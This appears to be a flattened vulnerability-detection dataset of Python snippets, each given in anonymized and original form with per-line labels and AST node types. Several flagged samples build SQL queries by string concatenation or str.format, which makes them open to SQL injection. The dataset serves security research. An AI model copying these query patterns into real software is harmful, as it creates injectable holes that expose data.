lines
sequencelengths
1
444
raw_lines
sequencelengths
1
444
label
sequencelengths
1
444
type
sequencelengths
1
444
[ "def FUNC_22(self, VAR_17, VAR_16):...\n", "\"\"\"docstring\"\"\"\n" ]
[ "def remove_export(self, context, volume):...\n", "\"\"\"docstring\"\"\"\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Docstring" ]
[ "def FUNC_41(self):...\n", "\"\"\"docstring\"\"\"\n", "VAR_32 = list()\n", "for VAR_14 in self.get_columns_list():\n", "if not self.is_pk(VAR_14) and not self.is_fk(VAR_14):\n", "return VAR_32\n", "VAR_32.append(VAR_14)\n" ]
[ "def get_user_columns_list(self):...\n", "\"\"\"docstring\"\"\"\n", "ret_lst = list()\n", "for col_name in self.get_columns_list():\n", "if not self.is_pk(col_name) and not self.is_fk(col_name):\n", "return ret_lst\n", "ret_lst.append(col_name)\n" ]
[ 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "For", "Condition", "Return'", "Expr'" ]
[ "def FUNC_34(self):...\n", "self.compilation_ko(\n \"\"\"\nif anyof (header :is \"Sender\" \"[email protected]\",) {\n\n}\n\"\"\")\n" ]
[ "def test_misplaced_comma_in_tests_list(self):...\n", "self.compilation_ko(\n \"\"\"\nif anyof (header :is \"Sender\" \"[email protected]\",) {\n\n}\n\"\"\")\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "@VAR_0.route('/viz')...\n", "return render_template('louvain.html')\n" ]
[ "@application.route('/viz')...\n", "return render_template('louvain.html')\n" ]
[ 0, 0 ]
[ "Condition", "Return'" ]
[ "def FUNC_13(self):...\n", "return self.get_url_with_query_params({self.field_name: self.value})\n" ]
[ "def get_url(self):...\n", "return self.get_url_with_query_params({self.field_name: self.value})\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "@utils.synchronized('3par', external=True)...\n", "self.common.client_login()\n", "self.common.delete_snapshot(VAR_8)\n", "self.common.client_logout()\n" ]
[ "@utils.synchronized('3par', external=True)...\n", "self.common.client_login()\n", "self.common.delete_snapshot(snapshot)\n", "self.common.client_logout()\n" ]
[ 0, 0, 0, 0 ]
[ "Condition", "Expr'", "Expr'", "Expr'" ]
[ "def __init__(self, VAR_1=None, VAR_2=None, VAR_3=None, VAR_4=None, VAR_5=...\n", "\"\"\"docstring\"\"\"\n", "self._rules = OrderedDict()\n", "self.first_rule = None\n", "self._workdir = None\n", "self.overwrite_workdir = VAR_6\n", "self.workdir_init = os.path.abspath(os.curdir)\n", "self._ruleorder = Ruleorder()\n", "self._localrules = set()\n", "self.linemaps = dict()\n", "self.rule_count = 0\n", "self.basedir = os.path.dirname(VAR_1)\n", "self.snakefile = os.path.abspath(VAR_1)\n", "self.snakemakepath = VAR_2\n", "self.included = []\n", "self.included_stack = []\n", "self.jobscript = VAR_3\n", "self.persistence = None\n", "self.global_resources = None\n", "self.globals = globals()\n", "self._subworkflows = dict()\n", "self.overwrite_shellcmd = VAR_4\n", "self.overwrite_config = VAR_5\n", "self.overwrite_configfile = VAR_7\n", "self.config_args = VAR_8\n", "self._onsuccess = lambda log: None\n", "self._onerror = lambda log: None\n", "self.debug = VAR_9\n", "VAR_85 = dict()\n", "VAR_85.update(self.overwrite_config)\n", "VAR_86 = CLASS_3()\n" ]
[ "def __init__(self, snakefile=None, snakemakepath=None, jobscript=None,...\n", "\"\"\"docstring\"\"\"\n", "self._rules = OrderedDict()\n", "self.first_rule = None\n", "self._workdir = None\n", "self.overwrite_workdir = overwrite_workdir\n", "self.workdir_init = os.path.abspath(os.curdir)\n", "self._ruleorder = Ruleorder()\n", "self._localrules = set()\n", "self.linemaps = dict()\n", "self.rule_count = 0\n", "self.basedir = os.path.dirname(snakefile)\n", "self.snakefile = os.path.abspath(snakefile)\n", "self.snakemakepath = snakemakepath\n", "self.included = []\n", "self.included_stack = []\n", "self.jobscript = jobscript\n", "self.persistence = None\n", "self.global_resources = None\n", "self.globals = globals()\n", "self._subworkflows = dict()\n", "self.overwrite_shellcmd = overwrite_shellcmd\n", "self.overwrite_config = overwrite_config\n", "self.overwrite_configfile = overwrite_configfile\n", "self.config_args = config_args\n", "self._onsuccess = lambda log: None\n", "self._onerror = lambda log: None\n", "self.debug = debug\n", "config = dict()\n", "config.update(self.overwrite_config)\n", "rules = Rules()\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Docstring", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'" ]
[ "def FUNC_3():...\n", "def FUNC_12():...\n", "VAR_18 = requests.get(FUNC_2('healthy'))\n", "VAR_18.raise_for_status()\n", "return VAR_18.json()\n" ]
[ "def _CheckServerIsHealthyWithCache():...\n", "def _ServerIsHealthy():...\n", "response = requests.get(_BuildUri('healthy'))\n", "response.raise_for_status()\n", "return response.json()\n" ]
[ 0, 0, 7, 0, 0 ]
[ "FunctionDef'", "FunctionDef'", "Assign'", "Expr'", "Return'" ]
[ "def FUNC_21(self, VAR_15):...\n", "\"\"\"docstring\"\"\"\n", "for key, value in self.iscsi_ips.items():\n", "if value['nsp'] == VAR_15:\n", "return key\n" ]
[ "def _get_ip_using_nsp(self, nsp):...\n", "\"\"\"docstring\"\"\"\n", "for key, value in self.iscsi_ips.items():\n", "if value['nsp'] == nsp:\n", "return key\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "For", "Condition", "Return'" ]
[ "def FUNC_12(self, VAR_22):...\n", "\"\"\"docstring\"\"\"\n", "logging.warning(\"\"\"Authentication error.\n%s\"\"\", VAR_22)\n", "self.abort(401, detail=str(error))\n" ]
[ "def authentication_error(self, error):...\n", "\"\"\"docstring\"\"\"\n", "logging.warning(\"\"\"Authentication error.\n%s\"\"\", error)\n", "self.abort(401, detail=str(error))\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Expr'", "Expr'" ]
[ "@integration_synonym_api...\n", "FUNC_2(VAR_2)\n", "FUNC_3(VAR_2, 'RHEN', VAR_7='1')\n", "FUNC_5(VAR_4, VAR_5, VAR_11='REN', VAR_10=[{'name': '----REN'}, {'name':\n 'RHEN'}])\n" ]
[ "@integration_synonym_api...\n", "clean_database(solr)\n", "seed_database_with(solr, 'RHEN', id='1')\n", "verify_results(client, jwt, query='REN', expected=[{'name': '----REN'}, {\n 'name': 'RHEN'}])\n" ]
[ 0, 0, 0, 0 ]
[ "Condition", "Expr'", "Expr'", "Expr'" ]
[ "@property...\n", "self.check_broken_symlink()\n", "return os.path.getsize(self.file)\n" ]
[ "@property...\n", "self.check_broken_symlink()\n", "return os.path.getsize(self.file)\n" ]
[ 0, 0, 0 ]
[ "Condition", "Expr'", "Return'" ]
[ "def FUNC_16(VAR_14, VAR_19):...\n", "\"\"\"docstring\"\"\"\n", "VAR_33 = Article.objects.get(VAR_19=title)\n", "VAR_34 = VAR_33.changeset_set.all()\n", "VAR_35 = []\n", "for cs in VAR_34:\n", "if cs.old_title and cs.old_title != VAR_19 and cs.old_title not in VAR_35:\n", "VAR_36 = re.match('(!?)(\\\\b[A-Z][a-z]+[A-Z]\\\\w+\\\\b)', VAR_19)\n", "VAR_35.append(cs.old_title)\n", "if VAR_36:\n", "VAR_57 = re.compile('%s' % VAR_19)\n", "VAR_57 = re.compile('\\\\/%s\\\\)' % VAR_19)\n", "VAR_37 = []\n", "VAR_38 = []\n", "VAR_39 = Article.objects.all().exclude(VAR_19=title)\n", "for VAR_28 in VAR_39:\n", "VAR_58 = VAR_57.search(VAR_28.content)\n", "VAR_40 = {'found_links': VAR_38, 'found_old_links': VAR_37, 'name': VAR_19}\n", "if VAR_58:\n", "return render_to_response('wiki/backlinks.html', VAR_40, context_instance=\n RequestContext(request))\n", "VAR_38.append({'title': VAR_28.title})\n", "for VAR_56 in VAR_35:\n", "if VAR_56 in VAR_28.content:\n", "VAR_37.append({'old_title': VAR_56, 'title': VAR_28.title})\n" ]
[ "def backlinks(request, title):...\n", "\"\"\"docstring\"\"\"\n", "this_article = Article.objects.get(title=title)\n", "changesets = this_article.changeset_set.all()\n", "old_titles = []\n", "for cs in changesets:\n", "if cs.old_title and cs.old_title != title and cs.old_title not in old_titles:\n", "m = re.match('(!?)(\\\\b[A-Z][a-z]+[A-Z]\\\\w+\\\\b)', title)\n", "old_titles.append(cs.old_title)\n", "if m:\n", "search_title = re.compile('%s' % title)\n", "search_title = re.compile('\\\\/%s\\\\)' % title)\n", "found_old_links = []\n", "found_links = []\n", "articles_all = Article.objects.all().exclude(title=title)\n", "for article in articles_all:\n", "match = search_title.search(article.content)\n", "context = {'found_links': found_links, 'found_old_links': found_old_links,\n 'name': title}\n", "if match:\n", "return render_to_response('wiki/backlinks.html', context, context_instance=\n RequestContext(request))\n", "found_links.append({'title': article.title})\n", "for old_title in old_titles:\n", "if old_title in article.content:\n", "found_old_links.append({'old_title': old_title, 'title': article.title})\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "For", "Condition", "Assign'", "Expr'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "For", "Assign'", "Assign'", "Condition", "Return'", "Expr'", "For", "Condition", "Expr'" ]
[ "def FUNC_6(self, VAR_44, VAR_45):...\n", "\"\"\"docstring\"\"\"\n", "if VAR_45 not in VAR_44:\n", "return\n", "for table_name in sorted(VAR_44[VAR_45]):\n", "yield table_name, VAR_45\n", "for item in self.create_join_path(VAR_44, table_name):\n", "yield item\n" ]
[ "def create_join_path(self, path_map, curr_table):...\n", "\"\"\"docstring\"\"\"\n", "if curr_table not in path_map:\n", "return\n", "for table_name in sorted(path_map[curr_table]):\n", "yield table_name, curr_table\n", "for item in self.create_join_path(path_map, table_name):\n", "yield item\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "Return'", "For", "Expr'", "For", "Expr'" ]
[ "def FUNC_6(self, VAR_7):...\n", "VAR_8 = self.content\n", "while VAR_8:\n", "yield VAR_8[:VAR_7]\n", "VAR_8 = VAR_8[VAR_7:]\n" ]
[ "def iter_content(self, chunk_size):...\n", "c = self.content\n", "while c:\n", "yield c[:chunk_size]\n", "c = c[chunk_size:]\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Condition", "Expr'", "Assign'" ]
[ "def FUNC_1(VAR_0, VAR_3, VAR_1, VAR_2):...\n", "VAR_4 = VAR_0.cursor()\n", "VAR_5 = 'ALTER TABLE Presets DROP COLUMN id;'\n", "VAR_4.execute(VAR_5)\n", "VAR_5 = (\n 'ALTER TABLE Presets ADD COLUMN id INT AUTO_INCREMENT PRIMARY KEY NOT NULL FIRST;'\n )\n", "VAR_4.execute(VAR_5)\n", "if VAR_1 != 'NA':\n", "VAR_5 = \"UPDATE Presets SET querval='\" + VAR_1 + \"' WHERE id=\" + str(VAR_3\n ) + ';'\n", "if VAR_2 != 'NA':\n", "VAR_4.execute(VAR_5)\n", "VAR_5 = \"UPDATE Presets SET description='\" + VAR_2 + \"' WHERE id=\" + str(VAR_3\n ) + ';'\n", "VAR_5 = 'ALTER TABLE Presets DROP COLUMN id;'\n", "VAR_4.execute(VAR_5)\n", "VAR_4.execute(VAR_5)\n", "VAR_5 = (\n 'ALTER TABLE Presets ADD COLUMN id INT AUTO_INCREMENT PRIMARY KEY NOT NULL FIRST;'\n )\n", "VAR_4.execute(VAR_5)\n" ]
[ "def edit_preset(conn, key, queryin, descriptin):...\n", "cursor = conn.cursor()\n", "quer = 'ALTER TABLE Presets DROP COLUMN id;'\n", "cursor.execute(quer)\n", "quer = (\n 'ALTER TABLE Presets ADD COLUMN id INT AUTO_INCREMENT PRIMARY KEY NOT NULL FIRST;'\n )\n", "cursor.execute(quer)\n", "if queryin != 'NA':\n", "quer = \"UPDATE Presets SET querval='\" + queryin + \"' WHERE id=\" + str(key\n ) + ';'\n", "if descriptin != 'NA':\n", "cursor.execute(quer)\n", "quer = \"UPDATE Presets SET description='\" + descriptin + \"' WHERE id=\" + str(\n key) + ';'\n", "quer = 'ALTER TABLE Presets DROP COLUMN id;'\n", "cursor.execute(quer)\n", "cursor.execute(quer)\n", "quer = (\n 'ALTER TABLE Presets ADD COLUMN id INT AUTO_INCREMENT PRIMARY KEY NOT NULL FIRST;'\n )\n", "cursor.execute(quer)\n" ]
[ 0, 0, 0, 0, 0, 0, 4, 4, 4, 4, 4, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Expr'", "Assign'", "Expr'", "Condition", "Assign'", "Condition", "Expr'", "Assign'", "Assign'", "Expr'", "Expr'", "Assign'", "Expr'" ]
[ "def FUNC_26(self, VAR_14):...\n", "" ]
[ "def get_max_length(self, col_name):...\n", "" ]
[ 0, 0 ]
[ "FunctionDef'", "Condition" ]
[ "def FUNC_1(self, VAR_0, *VAR_2, **VAR_3):...\n", "VAR_11 = ShortUrlForm()\n", "return render(VAR_0, 'home.html', {'form': VAR_11})\n" ]
[ "def get(self, request, *args, **kwargs):...\n", "form = ShortUrlForm()\n", "return render(request, 'home.html', {'form': form})\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Return'" ]
[ "def FUNC_2(VAR_0, VAR_2):...\n", "return os.chmod(VAR_0, VAR_2, follow_symlinks=os.chmod not in os.\n supports_follow_symlinks)\n" ]
[ "def lchmod(f, mode):...\n", "return os.chmod(f, mode, follow_symlinks=os.chmod not in os.\n supports_follow_symlinks)\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_12(self, VAR_10, VAR_12, **VAR_3):...\n", "\"\"\"docstring\"\"\"\n", "VAR_5 = {}\n", "VAR_5['volumeName'] = VAR_10['name']\n", "VAR_5['serverName'] = VAR_12['host']\n", "self._cliq_run_xml('unassignVolumeToServer', VAR_5)\n" ]
[ "def terminate_connection(self, volume, connector, **kwargs):...\n", "\"\"\"docstring\"\"\"\n", "cliq_args = {}\n", "cliq_args['volumeName'] = volume['name']\n", "cliq_args['serverName'] = connector['host']\n", "self._cliq_run_xml('unassignVolumeToServer', cliq_args)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "Expr'" ]
[ "@staticmethod...\n", "\"\"\"docstring\"\"\"\n", "VAR_21 = VAR_5.name\n", "if not VAR_5.enabled:\n", "VAR_21 = f'~~{VAR_21}~~'\n", "if VAR_5.hidden:\n", "VAR_21 = f'*{VAR_21}*'\n", "if isinstance(VAR_5, neko.GroupMixin) and getattr(VAR_5, 'commands'):\n", "VAR_21 = f'{VAR_21}\\\\*'\n", "if VAR_6:\n", "VAR_21 = f'{VAR_5.full_parent_name} {VAR_21}'.strip()\n", "return VAR_21\n" ]
[ "@staticmethod...\n", "\"\"\"docstring\"\"\"\n", "name = cmd.name\n", "if not cmd.enabled:\n", "name = f'~~{name}~~'\n", "if cmd.hidden:\n", "name = f'*{name}*'\n", "if isinstance(cmd, neko.GroupMixin) and getattr(cmd, 'commands'):\n", "name = f'{name}\\\\*'\n", "if is_full:\n", "name = f'{cmd.full_parent_name} {name}'.strip()\n", "return name\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Docstring", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Return'" ]
[ "def FUNC_11(VAR_3):...\n", "\"\"\"docstring\"\"\"\n", "VAR_10 = VAR_3.user\n", "VAR_33 = [(unicode(year), unicode(year)) for year in UserProfile.VALID_YEARS]\n", "VAR_26 = FUNC_8(VAR_10)\n", "VAR_1.exception('Error fetching order history from Otto.')\n", "VAR_5 = {'auth': {}, 'duplicate_provider': None, 'nav_hidden': True,\n 'fields': {'country': {'options': list(countries)}, 'gender': {\n 'options': [(choice[0], _(choice[1])) for choice in UserProfile.\n GENDER_CHOICES]}, 'language': {'options': released_languages()},\n 'level_of_education': {'options': [(choice[0], _(choice[1])) for choice in\n UserProfile.LEVEL_OF_EDUCATION_CHOICES]}, 'password': {'url': reverse(\n 'password_reset')}, 'year_of_birth': {'options': VAR_33},\n 'preferred_language': {'options': all_languages()}, 'time_zone': {\n 'options': TIME_ZONE_CHOICES}}, 'platform_name': configuration_helpers.\n get_value('PLATFORM_NAME', settings.PLATFORM_NAME),\n 'password_reset_support_link': configuration_helpers.get_value(\n 'PASSWORD_RESET_SUPPORT_LINK', settings.PASSWORD_RESET_SUPPORT_LINK) or\n settings.SUPPORT_SITE_LINK, 'user_accounts_api_url': reverse(\n 'accounts_api', kwargs={'username': user.username}),\n 'user_preferences_api_url': reverse('preferences_api', kwargs={\n 'username': user.username}), 'disable_courseware_js': True,\n 'show_program_listing': ProgramsApiConfig.is_enabled(), 'order_history':\n VAR_26}\n", "VAR_26 = []\n", "if third_party_auth.is_enabled():\n", "VAR_5['duplicate_provider'] = pipeline.get_duplicate_provider(messages.\n get_messages(VAR_3))\n", "return VAR_5\n", "VAR_37 = pipeline.get_provider_user_states(VAR_10)\n", "VAR_5['auth']['providers'] = [{'id': state.provider.provider_id, 'name':\n state.provider.name, 'connected': state.has_account, 'connect_url':\n pipeline.get_login_url(state.provider.provider_id, pipeline.\n AUTH_ENTRY_ACCOUNT_SETTINGS, redirect_url=reverse('account_settings')),\n 'accepts_logins': state.provider.accepts_logins, 'disconnect_url':\n pipeline.get_disconnect_url(state.provider.provider_id, state.\n association_id)} for state in VAR_37 if state.provider.\n display_for_login or state.has_account]\n" ]
[ "def account_settings_context(request):...\n", "\"\"\"docstring\"\"\"\n", "user = request.user\n", "year_of_birth_options = [(unicode(year), unicode(year)) for year in\n UserProfile.VALID_YEARS]\n", "user_orders = get_user_orders(user)\n", "log.exception('Error fetching order history from Otto.')\n", "context = {'auth': {}, 'duplicate_provider': None, 'nav_hidden': True,\n 'fields': {'country': {'options': list(countries)}, 'gender': {\n 'options': [(choice[0], _(choice[1])) for choice in UserProfile.\n GENDER_CHOICES]}, 'language': {'options': released_languages()},\n 'level_of_education': {'options': [(choice[0], _(choice[1])) for choice in\n UserProfile.LEVEL_OF_EDUCATION_CHOICES]}, 'password': {'url': reverse(\n 'password_reset')}, 'year_of_birth': {'options': year_of_birth_options},\n 'preferred_language': {'options': all_languages()}, 'time_zone': {\n 'options': TIME_ZONE_CHOICES}}, 'platform_name': configuration_helpers.\n get_value('PLATFORM_NAME', settings.PLATFORM_NAME),\n 'password_reset_support_link': configuration_helpers.get_value(\n 'PASSWORD_RESET_SUPPORT_LINK', settings.PASSWORD_RESET_SUPPORT_LINK) or\n settings.SUPPORT_SITE_LINK, 'user_accounts_api_url': reverse(\n 'accounts_api', kwargs={'username': user.username}),\n 'user_preferences_api_url': reverse('preferences_api', kwargs={\n 'username': user.username}), 'disable_courseware_js': True,\n 'show_program_listing': ProgramsApiConfig.is_enabled(), 'order_history':\n user_orders}\n", "user_orders = []\n", "if third_party_auth.is_enabled():\n", "context['duplicate_provider'] = pipeline.get_duplicate_provider(messages.\n get_messages(request))\n", "return context\n", "auth_states = pipeline.get_provider_user_states(user)\n", "context['auth']['providers'] = [{'id': state.provider.provider_id, 'name':\n state.provider.name, 'connected': state.has_account, 'connect_url':\n pipeline.get_login_url(state.provider.provider_id, pipeline.\n AUTH_ENTRY_ACCOUNT_SETTINGS, redirect_url=reverse('account_settings')),\n 'accepts_logins': state.provider.accepts_logins, 'disconnect_url':\n pipeline.get_disconnect_url(state.provider.provider_id, state.\n association_id)} for state in auth_states if state.provider.\n display_for_login or state.has_account]\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "Assign'", "Condition", "Assign'", "Return'", "Assign'", "Assign'" ]
[ "def FUNC_1(self, VAR_6, VAR_7, VAR_5):...\n", "VAR_14 = []\n", "VAR_14.append('string'.format(VAR_6))\n", "VAR_14.append('string'.format(VAR_6, VAR_5, VAR_7))\n", "for query in VAR_14:\n", "self.cur.execute(query)\n", "self.conn.commit()\n" ]
[ "def update_roster(self, username, role, server_id):...\n", "sql = []\n", "sql.append(\n \"\"\"INSERT INTO users (username)\n VALUES ('{0}')\n ON DUPLICATE KEY UPDATE username = '{0}';\n \"\"\"\n .format(username))\n", "sql.append(\n \"\"\"INSERT INTO roles (username, server_id, role)\n VALUES ('{0}', '{1}', '{2}')\n ON DUPLICATE KEY UPDATE role = '{2}';\n \"\"\"\n .format(username, server_id, role))\n", "for query in sql:\n", "self.cur.execute(query)\n", "self.conn.commit()\n" ]
[ 0, 4, 4, 4, 4, 4, 0 ]
[ "FunctionDef'", "Assign'", "Expr'", "Expr'", "For", "Expr'", "Expr'" ]
[ "def FUNC_4(VAR_4, VAR_5):...\n", "VAR_12 = VAR_4.get('href')\n", "if VAR_5 == False:\n", "return VAR_12.split('/')[4]\n", "if VAR_12.split('/')[3] == 'app':\n", "return VAR_12.split('/')[5]\n", "return 'NONE'\n" ]
[ "def cleanID(id, isTitle):...\n", "result = id.get('href')\n", "if isTitle == False:\n", "return result.split('/')[4]\n", "if result.split('/')[3] == 'app':\n", "return result.split('/')[5]\n", "return 'NONE'\n" ]
[ 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Condition", "Return'", "Condition", "Return'", "Return'" ]
[ "import argparse, ast, json, sys, keyword, math\n", "VAR_0 = ['__doc__', '__package__']\n", "VAR_1 = ['abs', 'all', 'any', 'ArithmeticError', 'ascii', 'AssertionError',\n 'AttributeError', 'BaseException', 'bin', 'BlockingIOError', 'bool',\n 'BrokenPipeError', 'BufferError', '__build_class__', 'bytearray',\n 'bytes', 'BytesWarning', 'callable', 'ChildProcessError', 'chr',\n 'classmethod', 'complex', 'ConnectionAbortedError', 'ConnectionError',\n 'ConnectionRefusedError', 'ConnectionResetError', 'delattr',\n 'DeprecationWarning', 'dict', 'dir', 'divmod', '__doc__', 'Ellipsis',\n 'enumerate', 'EnvironmentError', 'EOFError', 'Exception', 'False',\n 'FileExistsError', 'FileNotFoundError', 'filter', 'float',\n 'FloatingPointError', 'format', 'frozenset', 'FutureWarning',\n 'GeneratorExit', 'getatter', 'globals', 'hasattr', 'hash', 'hex', 'id',\n 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError',\n 'input', 'int', 'InterruptedError', 'IOError', 'IsADirectoryError',\n 'isinstance', 'issubclass', 'iter', 'KeyboardInterrupt', 'KeyError',\n 'len', 'list', 'locals', 'LookupError', 'map', 'max', 'MemoryError',\n 'memoryview', 'min', '__name__', 'NameError', 'next', 'None',\n 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'object',\n 'oct', 'ord', 'OSError', 'OverflowError', '__package__',\n 'PendingDeprecationWarning', 'PermissionError', 'pow', 'print',\n 'ProcessLookupError', 'property', 'range', 'RecursionError',\n 'ReferenceError', 'repr', 'ResourceWarning', 'reversed', 'round',\n 'RuntimeError', 'RuntimeWarning', 'set', 'setattr', 'slice', 'sorted',\n 'staticmethod', 'StopAsyncIteration', 'StopIteration', 'str', 'sum',\n 'super', 'SyntaxError', 'SyntaxWarning', 'SystemExit', 'TabError',\n 'TimeoutError', 'True', 'tuple', 'type', 'TypeError',\n 'UnboundLocalError', 'UnicodeEncodeError', 'UnicodeWarning',\n 'UserWarning', 'ValueError', 'vars', 'Warning', 'ZeroDivisionError', 'zip']\n", "def FUNC_0(VAR_2, VAR_3):...\n", "VAR_11 = VAR_2 - sum(d['points'] for d in VAR_3)\n", "if VAR_11 < 0:\n", "VAR_11 = 0\n", "print(json.dumps({'score': VAR_11, 'deductions': VAR_3}))\n", "def FUNC_1(VAR_3, VAR_2, VAR_4):...\n", "VAR_3.append({'points': VAR_2, 'reason': VAR_4})\n", "def FUNC_2(VAR_5, VAR_6):...\n", "return None\n" ]
[ "import argparse, ast, json, sys, keyword, math\n", "global_whitelist = ['__doc__', '__package__']\n", "builtins_whitelist = ['abs', 'all', 'any', 'ArithmeticError', 'ascii',\n 'AssertionError', 'AttributeError', 'BaseException', 'bin',\n 'BlockingIOError', 'bool', 'BrokenPipeError', 'BufferError',\n '__build_class__', 'bytearray', 'bytes', 'BytesWarning', 'callable',\n 'ChildProcessError', 'chr', 'classmethod', 'complex',\n 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError',\n 'ConnectionResetError', 'delattr', 'DeprecationWarning', 'dict', 'dir',\n 'divmod', '__doc__', 'Ellipsis', 'enumerate', 'EnvironmentError',\n 'EOFError', 'Exception', 'False', 'FileExistsError',\n 'FileNotFoundError', 'filter', 'float', 'FloatingPointError', 'format',\n 'frozenset', 'FutureWarning', 'GeneratorExit', 'getatter', 'globals',\n 'hasattr', 'hash', 'hex', 'id', 'ImportError', 'ImportWarning',\n 'IndentationError', 'IndexError', 'input', 'int', 'InterruptedError',\n 'IOError', 'IsADirectoryError', 'isinstance', 'issubclass', 'iter',\n 'KeyboardInterrupt', 'KeyError', 'len', 'list', 'locals', 'LookupError',\n 'map', 'max', 'MemoryError', 'memoryview', 'min', '__name__',\n 'NameError', 'next', 'None', 'NotADirectoryError', 'NotImplemented',\n 'NotImplementedError', 'object', 'oct', 'ord', 'OSError',\n 'OverflowError', '__package__', 'PendingDeprecationWarning',\n 'PermissionError', 'pow', 'print', 'ProcessLookupError', 'property',\n 'range', 'RecursionError', 'ReferenceError', 'repr', 'ResourceWarning',\n 'reversed', 'round', 'RuntimeError', 'RuntimeWarning', 'set', 'setattr',\n 'slice', 'sorted', 'staticmethod', 'StopAsyncIteration',\n 'StopIteration', 'str', 'sum', 'super', 'SyntaxError', 'SyntaxWarning',\n 'SystemExit', 'TabError', 'TimeoutError', 'True', 'tuple', 'type',\n 'TypeError', 'UnboundLocalError', 'UnicodeEncodeError',\n 'UnicodeWarning', 'UserWarning', 'ValueError', 'vars', 'Warning',\n 'ZeroDivisionError', 'zip']\n", "def output_json(points, deductions):...\n", "score = points - sum(d['points'] for d in deductions)\n", "if score < 0:\n", "score = 0\n", "print(json.dumps({'score': score, 'deductions': deductions}))\n", "def dock_points(deductions, points, reason):...\n", "deductions.append({'points': points, 'reason': reason})\n", "def fix_syntax_err(code, err):...\n", "return None\n" ]
[ 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Import'", "Assign'", "Assign'", "FunctionDef'", "Assign'", "Condition", "Assign'", "Expr'", "FunctionDef'", "Expr'", "FunctionDef'", "Return'" ]
[ "def FUNC_6(VAR_1):...\n", "\"\"\"docstring\"\"\"\n", "VAR_1 = block.sys_block_path(VAR_1)\n", "VAR_24 = os.path.join(VAR_1, 'dm', 'name')\n", "VAR_25, VAR_26 = lvm.split_lvm_name(util.load_file(VAR_24))\n", "LOG.debug('running lvremove on %s/%s', VAR_25, VAR_26)\n", "util.subp(['lvremove', '--force', '--force', '{}/{}'.format(VAR_25, VAR_26)\n ], rcs=[0, 5])\n", "if len(lvm.get_lvols_in_volgroup(VAR_25)) == 0:\n", "util.subp(['vgremove', '--force', '--force', VAR_25], rcs=[0, 5])\n", "lvm.lvm_scan()\n" ]
[ "def shutdown_lvm(device):...\n", "\"\"\"docstring\"\"\"\n", "device = block.sys_block_path(device)\n", "name_file = os.path.join(device, 'dm', 'name')\n", "vg_name, lv_name = lvm.split_lvm_name(util.load_file(name_file))\n", "LOG.debug('running lvremove on %s/%s', vg_name, lv_name)\n", "util.subp(['lvremove', '--force', '--force', '{}/{}'.format(vg_name,\n lv_name)], rcs=[0, 5])\n", "if len(lvm.get_lvols_in_volgroup(vg_name)) == 0:\n", "util.subp(['vgremove', '--force', '--force', vg_name], rcs=[0, 5])\n", "lvm.lvm_scan()\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "Expr'", "Expr'", "Condition", "Expr'", "Expr'" ]
[ "def FUNC_15(self):...\n", "self.run_test_case(self.scenario.register_load_balancer_instances())\n" ]
[ "def test_c_register_load_balancer_instances(self):...\n", "self.run_test_case(self.scenario.register_load_balancer_instances())\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_43(self):...\n", "self.assertEqual(self.cnxn.autocommit, False)\n", "VAR_30 = pyodbc.connect(self.connection_string, autocommit=True)\n", "self.assertEqual(VAR_30.autocommit, True)\n", "VAR_30.autocommit = False\n", "self.assertEqual(VAR_30.autocommit, False)\n" ]
[ "def test_autocommit(self):...\n", "self.assertEqual(self.cnxn.autocommit, False)\n", "othercnxn = pyodbc.connect(self.connection_string, autocommit=True)\n", "self.assertEqual(othercnxn.autocommit, True)\n", "othercnxn.autocommit = False\n", "self.assertEqual(othercnxn.autocommit, False)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Assign'", "Expr'", "Assign'", "Expr'" ]
[ "def __init__(self):...\n", "self.requests = {}\n", "self.databuffer = {}\n", "self.last_alive = {}\n", "self.keep_alive = None\n" ]
